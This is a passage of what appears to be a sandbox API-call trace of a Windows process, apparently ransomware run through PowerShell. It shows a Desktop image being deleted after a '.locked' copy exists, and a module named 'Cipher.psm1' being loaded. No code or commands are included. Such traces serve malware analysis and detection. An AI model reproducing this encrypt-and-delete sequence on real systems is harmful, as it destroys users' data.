(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 0x20 [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99adddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.844] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99adf18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3d8) returned 1 [0127.844] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.844] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png\\", nBufferLength=0x105, lpBuffer=0x99adeb4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png\\", lpFilePart=0x0) returned 0x28 [0127.844] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png\\*", lpFindFileData=0x99ae100 | out: lpFindFileData=0x99ae100) returned 0xffffffff [0127.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae39c) returned 1 [0127.844] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0127.844] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0127.844] CoTaskMemFree (pv=0x8ebb8c8) [0127.845] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 0x20 [0127.845] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99adea4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.845] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ade20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2fc) returned 1 [0127.845] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png"), fInfoLevelId=0x0, lpFileInformation=0x6aa18e4 | out: lpFileInformation=0x6aa18e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afeb680, ftCreationTime.dwHighDateTime=0x1d4ac15, ftLastAccessTime.dwLowDateTime=0xc1fbd690, ftLastAccessTime.dwHighDateTime=0x1d49fd3, ftLastWriteTime.dwLowDateTime=0xc1fbd690, ftLastWriteTime.dwHighDateTime=0x1d49fd3, nFileSizeHigh=0x0, nFileSizeLow=0x100af)) returned 1 [0127.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2f8) returned 1 [0127.845] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 1 [0127.848] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.848] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xd600\x43b") returned 0x0 [0127.848] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.848] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.848] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.849] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png.locked")) returned 0x20 [0127.849] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png.locked")) returned 0x20 [0127.849] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", nBufferLength=0x105, lpBuffer=0x99adf0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", lpFilePart=0x0) returned 0x2e [0127.849] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", nBufferLength=0x105, lpBuffer=0x99aded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", lpFilePart=0x0) returned 0x2e [0127.850] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.850] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.850] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.851] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.851] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.851] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.853] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.854] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.854] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.854] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.854] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.856] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.857] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xe300\x99a\x1d") returned 0x0 [0127.857] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.857] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.857] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.858] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.859] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.859] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.860] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.860] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.861] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.862] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.862] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.862] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.862] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.864] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add48) returned 1 [0127.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aaf450 | out: lpFileInformation=0x6aaf450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6aaefb, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf6aaefb, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf6d11d7, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x100c4)) returned 1 [0127.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add44) returned 1 [0127.867] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", nBufferLength=0x105, lpBuffer=0x99ad824, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", lpFilePart=0x0) returned 0x2e [0127.867] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0127.867] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99add90 | out: lpFileInformation=0x99add90) returned 1 [0127.867] CloseHandle (hObject=0x868) returned 1 [0127.869] GetConsoleOutputCP () returned 0x1b5 [0127.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.870] GetConsoleOutputCP () returned 0x1b5 [0127.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.871] GetConsoleOutputCP () returned 0x1b5 [0127.871] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.871] GetConsoleOutputCP () returned 0x1b5 [0127.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.872] GetConsoleOutputCP () returned 0x1b5 [0127.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.872] GetConsoleOutputCP () returned 0x1b5 [0127.873] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.873] GetConsoleOutputCP () returned 0x1b5 [0127.873] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.873] GetConsoleOutputCP () returned 0x1b5 [0127.874] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.874] GetConsoleOutputCP () returned 0x1b5 [0127.874] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.874] GetConsoleOutputCP () returned 0x1b5 [0127.875] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.875] GetConsoleOutputCP () returned 0x1b5 [0127.875] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.875] GetConsoleOutputCP () returned 0x1b5 [0127.875] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.875] GetConsoleOutputCP () returned 0x1b5 [0127.876] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.876] GetConsoleOutputCP () returned 0x1b5 [0127.876] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.876] GetConsoleOutputCP () returned 0x1b5 [0127.877] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.877] GetConsoleOutputCP () returned 0x1b5 [0127.878] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.878] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae38c | out: lpConsoleScreenBufferInfo=0x99ae38c) returned 1 [0127.878] GetConsoleOutputCP () returned 0x1b5 [0127.879] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae328, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae328) returned 0 [0127.879] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.880] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad5fe0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x6ad5fe0*, lpNumberOfCharsWritten=0x99ae38c*=0x77) returned 1 [0127.880] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.881] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae38c*=0x2) returned 1 [0127.886] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.886] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.887] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.887] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.887] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.887] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.887] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 